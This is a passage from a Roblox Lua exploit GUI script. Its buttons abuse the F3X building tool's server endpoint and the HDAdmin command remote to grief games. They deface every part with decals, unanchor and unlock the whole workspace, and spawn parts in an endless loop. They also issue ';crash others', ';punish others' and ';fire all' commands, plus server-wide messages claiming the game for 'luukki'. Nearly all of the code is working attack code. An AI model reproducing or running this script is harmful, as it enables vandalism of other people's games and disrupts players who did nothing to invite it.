		ImageButton_7.Parent = ImageLabel
		ImageButton_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_7.BorderSizePixel = 0
		ImageButton_7.Position = UDim2.new(0.559113324, 0, 0.445114076, 0)
		ImageButton_7.Size = UDim2.new(0, 100, 0, 47)
		ImageButton_7.Image = "rbxassetid://83632141493364"
	
		TextLabel_8.Parent = ImageButton_7
		TextLabel_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_8.BackgroundTransparency = 1.000
		TextLabel_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_8.BorderSizePixel = 0
		TextLabel_8.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_8.Size = UDim2.new(0, 100, 0, 26)
		TextLabel_8.Font = Enum.Font.SourceSans
		TextLabel_8.Text = "delete players"
		TextLabel_8.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_8.TextScaled = true
		TextLabel_8.TextSize = 14.000
		TextLabel_8.TextWrapped = true
	
		ImageButton_8.Parent = ImageLabel
		ImageButton_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_8.BorderSizePixel = 0
		ImageButton_8.Position = UDim2.new(0.825123131, 0, 0.445114076, 0)
		ImageButton_8.Size = UDim2.new(0, 63, 0, 47)
		ImageButton_8.Image = "rbxassetid://83632141493364"
	
		TextLabel_9.Parent = ImageButton_8
		TextLabel_9.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_9.BackgroundTransparency = 1.000
		TextLabel_9.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_9.BorderSizePixel = 0
		TextLabel_9.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_9.Size = UDim2.new(0, 63, 0, 26)
		TextLabel_9.Font = Enum.Font.SourceSans
		TextLabel_9.Text = "unanchor"
		TextLabel_9.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_9.TextScaled = true
		TextLabel_9.TextSize = 14.000
		TextLabel_9.TextWrapped = true
	
		ImageButton_9.Parent = ImageLabel
		ImageButton_9.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_9.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_9.BorderSizePixel = 0
		ImageButton_9.Position = UDim2.new(0.024630541, 0, 0.699262202, 0)
		ImageButton_9.Size = UDim2.new(0, 388, 0, 47)
		ImageButton_9.Image = "rbxassetid://83632141493364"
	
		TextLabel_10.Parent = ImageButton_9
		TextLabel_10.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_10.BackgroundTransparency = 1.000
		TextLabel_10.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_10.BorderSizePixel = 0
		TextLabel_10.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_10.Size = UDim2.new(0, 388, 0, 26)
		TextLabel_10.Font = Enum.Font.SourceSans
		TextLabel_10.Text = "particles"
		TextLabel_10.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_10.TextScaled = true
		TextLabel_10.TextSize = 14.000
		TextLabel_10.TextWrapped = true
	
		ImageButton_10.Parent = ImageLabel
		ImageButton_10.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageButton_10.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageButton_10.BorderSizePixel = 3
		ImageButton_10.Position = UDim2.new(0, 0, -0.269861788, 0)
		ImageButton_10.Size = UDim2.new(0, 100, 0, 47)
		ImageButton_10.Image = "rbxassetid://83632141493364"
	
		TextLabel_11.Parent = ImageButton_10
		TextLabel_11.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_11.BackgroundTransparency = 1.000
		TextLabel_11.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_11.BorderSizePixel = 0
		TextLabel_11.Position = UDim2.new(0, 0, 0.212765962, 0)
		TextLabel_11.Size = UDim2.new(0, 100, 0, 26)
		TextLabel_11.Font = Enum.Font.SourceSans
		TextLabel_11.Text = "f3x"
		TextLabel_11.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_11.TextScaled = true
		TextLabel_11.TextSize = 14.000
		TextLabel_11.TextWrapped = true
	
		-- Scripts:
	
		local function JGLNADH_fake_script() -- ImageButton.LocalScript 
			local script = Instance.new('LocalScript', ImageButton)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
	
	
				local player = game.Players.LocalPlayer
				local char = player.Character
				local tool
				for i,v in player:GetDescendants() do
					if v.Name == "SyncAPI" then
						tool = v.Parent
					end
				end
				for i,v in game.ReplicatedStorage:GetDescendants() do
					if v.Name == "SyncAPI" then
						tool = v.Parent
					end
				end
				--craaa
				remote = tool.SyncAPI.ServerEndpoint
				function _(args)
					remote:InvokeServer(unpack(args))
				end
				function SetCollision(part,boolean)
					local args = {
						[1] = "SyncCollision",
						[2] = {
							[1] = {
								["Part"] = part,
								["CanCollide"] = boolean
							}
						}
					}
					_(args)
				end
				function SetAnchor(boolean,part)
					local args = {
						[1] = "SyncAnchor",
						[2] = {
							[1] = {
								["Part"] = part,
								["Anchored"] = boolean
							}
						}
					}
					_(args)
				end
				function CreatePart(cf,parent)
					local args = {
						[1] = "CreatePart",
						[2] = "Normal",
						[3] = cf,
						[4] = parent
					}
					_(args)
				end
				function DestroyPart(part)
					local args = {
						[1] = "Remove",
						[2] = {
							[1] = part
						}
					}
					_(args)
				end
				function MovePart(part,cf)
					local args = {
						[1] = "SyncMove",
						[2] = {
							[1] = {
								["Part"] = part,
								["CFrame"] = cf
							}
						}
					}
					_(args)
				end
				function Resize(part,size,cf)
					local args = {
						[1] = "SyncResize",
						[2] = {
							[1] = {
								["Part"] = part,
								["CFrame"] = cf,
								["Size"] = size
							}
						}
					}
					_(args)
				end
				function AddMesh(part)
					local args = {
						[1] = "CreateMeshes",
						[2] = {
							[1] = {
								["Part"] = part
							}
						}
					}
					_(args)
				end
	
				function SetMesh(part,meshid)
					local args = {
						[1] = "SyncMesh",
						[2] = {
							[1] = {
								["Part"] = part,
								["MeshId"] = "rbxassetid://"..meshid
							}
						}
					}
					_(args)
				end
				function SetTexture(part, texid)
					local args = {
						[1] = "SyncMesh",
						[2] = {
							[1] = {
								["Part"] = part,
								["TextureId"] = "rbxassetid://"..texid
							}
						}
					}
					_(args)
				end
				function SetName(part, stringg)
					local args = {
						[1] = "SetName",
						[2] = {
							[1] = part
						},
						[3] = stringg
					}
	
					_(args)
				end
				function MeshResize(part,size)
					local args = {
						[1] = "SyncMesh",
						[2] = {
							[1] = {
								["Part"] = part,
								["Scale"] = size
							}
						}
					}
					_(args)
				end
				function Weld(part1, part2,lead)
					local args = {
						[1] = "CreateWelds",
						[2] = {
							[1] = part1,
							[2] = part2
						},
						[3] = lead
					}
					_(args)
	
				end
				function SetLocked(part,boolean)
					local args = {
						[1] = "SetLocked",
						[2] = {
							[1] = part
						},
						[3] = boolean
					}
					_(args)
				end
				function SetTrans(part,int)
					local args = {
						[1] = "SyncMaterial",
						[2] = {
							[1] = {
								["Part"] = part,
								["Transparency"] = int
							}
						}
					}
					_(args)
				end
				function CreateSpotlight(part)
					local args = {
						[1] = "CreateLights",
						[2] = {
							[1] = {
								["Part"] = part,
								["LightType"] = "SpotLight"
							}
						}
					}
					_(args)
				end
				function SyncLighting(part,brightness)
					local args = {
						[1] = "SyncLighting",
						[2] = {
							[1] = {
								["Part"] = part,
								["LightType"] = "SpotLight",
								["Brightness"] = brightness
							}
						}
					}
					_(args)
				end
				function Color(part,color)
					local args = {
						[1] = "SyncColor",
						[2] = {
							[1] = {
								["Part"] = part,
								["Color"] = color --[[Color3]],
								["UnionColoring"] = false
							}
						}
					}
					_(args)
				end
				function SpawnDecal(part,side)
					local args = {
						[1] = "CreateTextures",
						[2] = {
							[1] = {
								["Part"] = part,
								["Face"] = side,
								["TextureType"] = "Decal"
							}
						}
					}
	
					_(args)
				end
				function AddDecal(part,asset,side)
					local args = {
						[1] = "SyncTexture",
						[2] = {
							[1] = {
								["Part"] = part,
								["Face"] = side,
								["TextureType"] = "Decal",
								["Texture"] = "rbxassetid://".. asset
							}
						}
					}
					_(args)
				end
	
				function spam(id)
					for i,v in game.workspace:GetDescendants() do
						if v:IsA("BasePart") then
							spawn(function()
								SetLocked(v,false)
								SpawnDecal(v,Enum.NormalId.Front)
								AddDecal(v,id,Enum.NormalId.Front)
	
								SpawnDecal(v,Enum.NormalId.Back)
								AddDecal(v,id,Enum.NormalId.Back)
	
								SpawnDecal(v,Enum.NormalId.Right)
								AddDecal(v,id,Enum.NormalId.Right)
	
								SpawnDecal(v,Enum.NormalId.Left)
								AddDecal(v,id,Enum.NormalId.Left)
	
								SpawnDecal(v,Enum.NormalId.Bottom)
								AddDecal(v,id,Enum.NormalId.Bottom)
	
								SpawnDecal(v,Enum.NormalId.Top)
								AddDecal(v,id,Enum.NormalId.Top)
							end)
						end
					end 
				end
				spam("83632141493364")
			end)
		end
		coroutine.wrap(JGLNADH_fake_script)()
		local function RQFB_fake_script() -- ImageButton_2.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_2)
	
			local button = script.Parent	
	
			button.MouseButton1Click:Connect(function()	
				local player = game.Players.LocalPlayer	
				local char = player.Character	
				local tool	
				local remote	
	
				-- Search player Backpack and character for the tool	
				for _, v in player.Backpack:GetDescendants() do	
					if v.Name == "SyncAPI" then	
						tool = v.Parent	
						break	
					end	
				end	
	
				if not tool and char then	
					for _, v in char:GetDescendants() do	
						if v.Name == "SyncAPI" then	
							tool = v.Parent	
							break	
						end	
					end	
				end	
	
				if not tool then	
					for _, v in game.ReplicatedStorage:GetDescendants() do	
						if v.Name == "SyncAPI" then	
							tool = v.Parent	
							break	
						end	
					end	
				end	
	
				if not tool then	
					warn("SyncAPI tool not found!")	
					return	
				end	
	
				remote = tool.SyncAPI.ServerEndpoint	
	
				local function _(args)	
					remote:InvokeServer(table.unpack(args))	
				end	
	
				local function SetCollision(part, boolean)	
					local args = {	
						[1] = "SyncCollision",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["CanCollide"] = boolean	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function SetAnchor(boolean, part)	
					local args = {	
						[1] = "SyncAnchor",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["Anchored"] = boolean	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function CreatePart(cf, parent)	
					local args = {	
						[1] = "CreatePart",	
						[2] = "Normal",	
						[3] = cf,	
						[4] = parent	
					}	
					_(args)	
				end	
	
				local function DestroyPart(part)	
					local args = {	
						[1] = "Remove",	
						[2] = {	
							[1] = part	
						}	
					}	
					_(args)	
				end	
	
				local function MovePart(part, cf)	
					local args = {	
						[1] = "SyncMove",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["CFrame"] = cf	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function Resize(part, size, cf)	
					local args = {	
						[1] = "SyncResize",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["CFrame"] = cf,	
								["Size"] = size	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function AddMesh(part)	
					local args = {	
						[1] = "CreateMeshes",	
						[2] = {	
							[1] = {	
								["Part"] = part	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function SetMesh(part, meshid)	
					local args = {	
						[1] = "SyncMesh",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["MeshId"] = "rbxassetid://" .. meshid	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function SetTexture(part, texid)	
					local args = {	
						[1] = "SyncMesh",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["TextureId"] = "rbxassetid://" .. texid	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function SetName(part, stringg)	
					local args = {	
						[1] = "SetName",	
						[2] = {	
							[1] = part	
						},	
						[3] = stringg	
					}	
					_(args)	
				end	
	
				local function MeshResize(part, size)	
					local args = {	
						[1] = "SyncMesh",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["Scale"] = size	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function Weld(part1, part2, lead)	
					local args = {	
						[1] = "CreateWelds",	
						[2] = {	
							[1] = part1,	
							[2] = part2	
						},	
						[3] = lead	
					}	
					_(args)	
				end	
	
				local function SetLocked(part, boolean)	
					local args = {	
						[1] = "SetLocked",	
						[2] = {	
							[1] = part	
						},	
						[3] = boolean	
					}	
					_(args)	
				end	
	
				local function SetTrans(part, int)	
					local args = {	
						[1] = "SyncMaterial",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["Transparency"] = int	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function CreateSpotlight(part)	
					local args = {	
						[1] = "CreateLights",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["LightType"] = "SpotLight"	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function SyncLighting(part, brightness)	
					local args = {	
						[1] = "SyncLighting",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["LightType"] = "SpotLight",	
								["Brightness"] = brightness	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function Color(part, color)	
					local args = {	
						[1] = "SyncColor",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["Color"] = color,	
								["UnionColoring"] = false	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function SpawnDecal(part, side)	
					local args = {	
						[1] = "CreateTextures",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["Face"] = side,	
								["TextureType"] = "Decal"	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function AddDecal(part, asset, side)	
					local args = {	
						[1] = "SyncTexture",	
						[2] = {	
							[1] = {	
								["Part"] = part,	
								["Face"] = side,	
								["TextureType"] = "Decal",	
								["Texture"] = "rbxassetid://" .. asset	
							}	
						}	
					}	
					_(args)	
				end	
	
				local function Sky(id)	
					local root = char:WaitForChild("HumanoidRootPart")	
					local spawnCF = root.CFrame + Vector3.new(0, 6, 0)	
	
					-- Snapshot existing parts before creating	
					local existingParts = {}	
					for _, v in workspace:GetChildren() do	
						existingParts[v] = true	
					end	
	
					CreatePart(spawnCF, workspace)	
					task.wait(0.3)	
	
					-- Find the newly added part	
					local skyPart	
					for _, v in workspace:GetChildren() do	
						if v:IsA("BasePart") and not existingParts[v] then	
							skyPart = v	
							break	
						end	
					end	
	
					if skyPart then	
						SetName(skyPart, "Sky")	
						AddMesh(skyPart)	
						SetMesh(skyPart, "111891702759441")	
						SetTexture(skyPart, id)	
						MeshResize(skyPart, Vector3.new(10000, 10000, 10000))	
						SetLocked(skyPart, true)	
						SetAnchor(true, skyPart)	
					else	
						warn("Sky part not found after creation!")	
					end	
				end	
	
				Sky("83632141493364")	
	
				--Please leave this credit	
				--Script made by Yaazkidd (I copy inspiration from blue2spooky wooo)	
			end)
		end
		coroutine.wrap(RQFB_fake_script)()
		local function XHJSXPL_fake_script() -- ImageButton_3.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_3)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local ReplicatedStorage = game:GetService("ReplicatedStorage")
				local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
				RequestCommand:InvokeServer(";sm we are luukki's")
			end)
		end
		coroutine.wrap(XHJSXPL_fake_script)()
		local function FAZSI_fake_script() -- ImageButton_4.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_4)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local ReplicatedStorage = game:GetService("ReplicatedStorage")
				local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
				RequestCommand:InvokeServer(";sh LUUKKI IS HERE")
			end)
		end
		coroutine.wrap(FAZSI_fake_script)()
		local function FAHGPMB_fake_script() -- ImageButton_5.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_5)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local ReplicatedStorage = game:GetService("ReplicatedStorage")
				local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
				RequestCommand:InvokeServer(";TITLE ALL luukki's")
			end)
		end
		coroutine.wrap(FAHGPMB_fake_script)()
		local function GIYAPX_fake_script() -- ImageButton_6.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_6)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local ReplicatedStorage = game:GetService("ReplicatedStorage")
				local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
				RequestCommand:InvokeServer(";fire all")
			end)
		end
		coroutine.wrap(GIYAPX_fake_script)()
		local function XVVLI_fake_script() -- ImageButton_7.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_7)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local ReplicatedStorage = game:GetService("ReplicatedStorage")
				local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
				RequestCommand:InvokeServer(";punish others")
				RequestCommand:InvokeServer(";crash others")
			end)
		end
		coroutine.wrap(XVVLI_fake_script)()
		local function VQCBLMF_fake_script() -- ImageButton_8.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_8)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local player = game.Players.LocalPlayer
				local char = player.Character
				local tool
				for i,v in player:GetDescendants() do
					if v.Name == "SyncAPI" then
						tool = v.Parent
					end
				end
				for i,v in game.ReplicatedStorage:GetDescendants() do
					if v.Name == "SyncAPI" then
						tool = v.Parent
					end
				end
				--craaa
				remote = tool.SyncAPI.ServerEndpoint
				function _(args)
					remote:InvokeServer(unpack(args))
				end
				function SetCollision(part,boolean)
					local args = {
						[1] = "SyncCollision",
						[2] = {
							[1] = {
								["Part"] = part,
								["CanCollide"] = boolean
							}
						}
					}
					_(args)
				end
				function SetAnchor(boolean,part)
					local args = {
						[1] = "SyncAnchor",
						[2] = {
							[1] = {
								["Part"] = part,
								["Anchored"] = boolean
							}
						}
					}
					_(args)
				end
				function CreatePart(cf,parent)
					local args = {
						[1] = "CreatePart",
						[2] = "Normal",
						[3] = cf,
						[4] = parent
					}
					_(args)
				end
				function DestroyPart(part)
					local args = {
						[1] = "Remove",
						[2] = {
							[1] = part
						}
					}
					_(args)
				end
				function MovePart(part,cf)
					local args = {
						[1] = "SyncMove",
						[2] = {
							[1] = {
								["Part"] = part,
								["CFrame"] = cf
							}
						}
					}
					_(args)
				end
				function Resize(part,size,cf)
					local args = {
						[1] = "SyncResize",
						[2] = {
							[1] = {
								["Part"] = part,
								["CFrame"] = cf,
								["Size"] = size
							}
						}
					}
					_(args)
				end
				function AddMesh(part)
					local args = {
						[1] = "CreateMeshes",
						[2] = {
							[1] = {
								["Part"] = part
							}
						}
					}
					_(args)
				end
	
				function SetMesh(part,meshid)
					local args = {
						[1] = "SyncMesh",
						[2] = {
							[1] = {
								["Part"] = part,
								["MeshId"] = "rbxassetid://"..meshid
							}
						}
					}
					_(args)
				end
				function SetTexture(part, texid)
					local args = {
						[1] = "SyncMesh",
						[2] = {
							[1] = {
								["Part"] = part,
								["TextureId"] = "rbxassetid://"..texid
							}
						}
					}
					_(args)
				end
				function SetName(part, stringg)
					local args = {
						[1] = "SetName",
						[2] = {
							[1] = workspace.Part
						},
						[3] = stringg
					}
	
					_(args)
				end
				function MeshResize(part,size)
					local args = {
						[1] = "SyncMesh",
						[2] = {
							[1] = {
								["Part"] = part,
								["Scale"] = size
							}
						}
					}
					_(args)
				end
				function Weld(part1, part2,lead)
					local args = {
						[1] = "CreateWelds",
						[2] = {
							[1] = part1,
							[2] = part2
						},
						[3] = lead
					}
					_(args)
	
				end
				function SetLocked(part,boolean)
					local args = {
						[1] = "SetLocked",
						[2] = {
							[1] = part
						},
						[3] = boolean
					}
					_(args)
				end
				function SetTrans(part,int)
					local args = {
						[1] = "SyncMaterial",
						[2] = {
							[1] = {
								["Part"] = part,
								["Transparency"] = int
							}
						}
					}
					_(args)
				end
				function CreateSpotlight(part)
					local args = {
						[1] = "CreateLights",
						[2] = {
							[1] = {
								["Part"] = part,
								["LightType"] = "SpotLight"
							}
						}
					}
					_(args)
				end
				function SyncLighting(part,brightness)
					local args = {
						[1] = "SyncLighting",
						[2] = {
							[1] = {
								["Part"] = part,
								["LightType"] = "SpotLight",
								["Brightness"] = brightness
							}
						}
					}
					_(args)
				end
	
				function Unanchor()
					for i,v in game.Workspace:GetDescendants() do
						spawn(function()
							SetLocked(v,false)
							SetAnchor(false,v)
						end)
					end
				end
				Unanchor()
			end)
		end
		coroutine.wrap(VQCBLMF_fake_script)()
		local function PXDXU_fake_script() -- ImageButton_9.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_9)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local player = game.Players.LocalPlayer
				local char = player.Character or player.CharacterAdded:Wait()
				local tool
	
				for i,v in player:GetDescendants() do
					if v.Name == "SyncAPI" then
						tool = v.Parent
					end
				end
	
				for i,v in game.ReplicatedStorage:GetDescendants() do
					if v.Name == "SyncAPI" then
						tool = v.Parent
					end
				end
	
				if not tool then return end
	
				local remote = tool.SyncAPI.ServerEndpoint
	
				function _(args)
					remote:InvokeServer(unpack(args))
				end
	
				function CreatePart(cf,parent)
					_({"CreatePart","Normal",cf,parent})
				end
	
				function SetName(part,name)
					_({"SetName",{part},name})
				end
	
				function Resize(part,size,cf)
					_({"SyncResize",{{Part=part,CFrame=cf,Size=size}}})
				end
	
				function MovePart(part,cf)
					_({"SyncMove",{{Part=part,CFrame=cf}}})
				end
	
				function SetLocked(part,boolean)
					_({"SetLocked",{part},boolean})
				end
	
				function SetTrans(part,int)
					_({"SyncMaterial",{{Part=part,Transparency=int}}})
				end
	
				function SpawnDecal(part,side)
					_({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}})
				end
	
				function AddDecal(part,asset,side)
					_({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://83632141493364"}}})
				end
	
				while wait(0.1) do
					spawn(function()
	
						local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
						local f = char.HumanoidRootPart.CFrame.y
						local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
	
						CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
	
						for i,v in game.Workspace:GetDescendants() do
							if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
	
								SetName(v,"particle")
	
								SpawnDecal(v,Enum.NormalId.Front)
								AddDecal(v,decalId,Enum.NormalId.Front)
	
								SpawnDecal(v,Enum.NormalId.Back)
								AddDecal(v,decalId,Enum.NormalId.Back)
	
								SetTrans(v,1)
								Resize(v,Vector3.new(7,7,0.1),v.CFrame)
								SetLocked(v,true)
	
								while wait(0.01) do
									MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
								end
	
							end
						end
	
					end)
				end
			end)
		end
		coroutine.wrap(PXDXU_fake_script)()
		local function APNYCVP_fake_script() -- ImageButton_10.LocalScript 
			local script = Instance.new('LocalScript', ImageButton_10)
	
			local button = script.Parent
	
			button.MouseButton1Click:Connect(function()
				local ReplicatedStorage = game:GetService("ReplicatedStorage")
				local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
				RequestCommand:InvokeServer(";btools")
			end)
		end
		coroutine.wrap(APNYCVP_fake_script)()
		local function KIRODE_fake_script() -- ImageLabel.Smooth GUI Dragging 
			local script = Instance.new('LocalScript', ImageLabel)
	
			local UserInputService = game:GetService("UserInputService")
			local runService = (game:GetService("RunService"));
	
			local gui = script.Parent
	
			local dragging
			local dragInput
			local dragStart
			local startPos
	
			function Lerp(a, b, m)
				return a + (b - a) * m
			end;
	
			local lastMousePos
			local lastGoalPos
			local DRAG_SPEED = (8); -- // The speed of the UI darg.
			function Update(dt)
				if not (startPos) then return end;
				if not (dragging) and (lastGoalPos) then
					gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
					return 
				end;
	
				local delta = (lastMousePos - UserInputService:GetMouseLocation())
				local xGoal = (startPos.X.Offset - delta.X);
				local yGoal = (startPos.Y.Offset - delta.Y);
				lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
				gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
			end;
	
			gui.InputBegan:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
					dragging = true
					dragStart = input.Position
					startPos = gui.Position
					lastMousePos = UserInputService:GetMouseLocation()
	
					input.Changed:Connect(function()
						if input.UserInputState == Enum.UserInputState.End then
							dragging = false
						end
					end)
				end
			end)
	
			gui.InputChanged:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
					dragInput = input
				end
			end)
	
			runService.Heartbeat:Connect(Update)
	
		end
		coroutine.wrap(KIRODE_fake_script)()
	
	end)
end;
task.spawn(C_27);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_29()
local script = G2L["29"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";music 1839246711")
		RequestCommand:InvokeServer(";volume inf")
	end)
end;
task.spawn(C_29);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2b()
local script = G2L["2b"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";btools")
	end)
end;
task.spawn(C_2b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2e()
local script = G2L["2e"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";r6")
	end)
end;
task.spawn(C_2e);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_30()
local script = G2L["30"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";respawn")
	end)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.Frame.Smooth GUI Dragging
local function C_31()
local script = G2L["31"];
	local UserInputService = game:GetService("UserInputService")
	local runService = (game:GetService("RunService"));
	
	local gui = script.Parent
	
	local dragging
	local dragInput
	local dragStart
	local startPos
	
	function Lerp(a, b, m)
		return a + (b - a) * m
	end;
	
	local lastMousePos
	local lastGoalPos
	local DRAG_SPEED = (8); -- // The speed of the UI darg.
	function Update(dt)
		if not (startPos) then return end;
		if not (dragging) and (lastGoalPos) then
			gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
			return 
		end;
	
		local delta = (lastMousePos - UserInputService:GetMouseLocation())
		local xGoal = (startPos.X.Offset - delta.X);
		local yGoal = (startPos.Y.Offset - delta.Y);
		lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
		gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
	end;
	
	gui.InputBegan:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
			dragging = true
			dragStart = input.Position
			startPos = gui.Position
			lastMousePos = UserInputService:GetMouseLocation()
	
			input.Changed:Connect(function()
				if input.UserInputState == Enum.UserInputState.End then
					dragging = false
				end
			end)
		end
	end)
	
	gui.InputChanged:Connect(function(input)
		if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
			dragInput = input
		end
	end)
	
	runService.Heartbeat:Connect(Update)
	
end;
task.spawn(C_31);

return G2L["1"], require;

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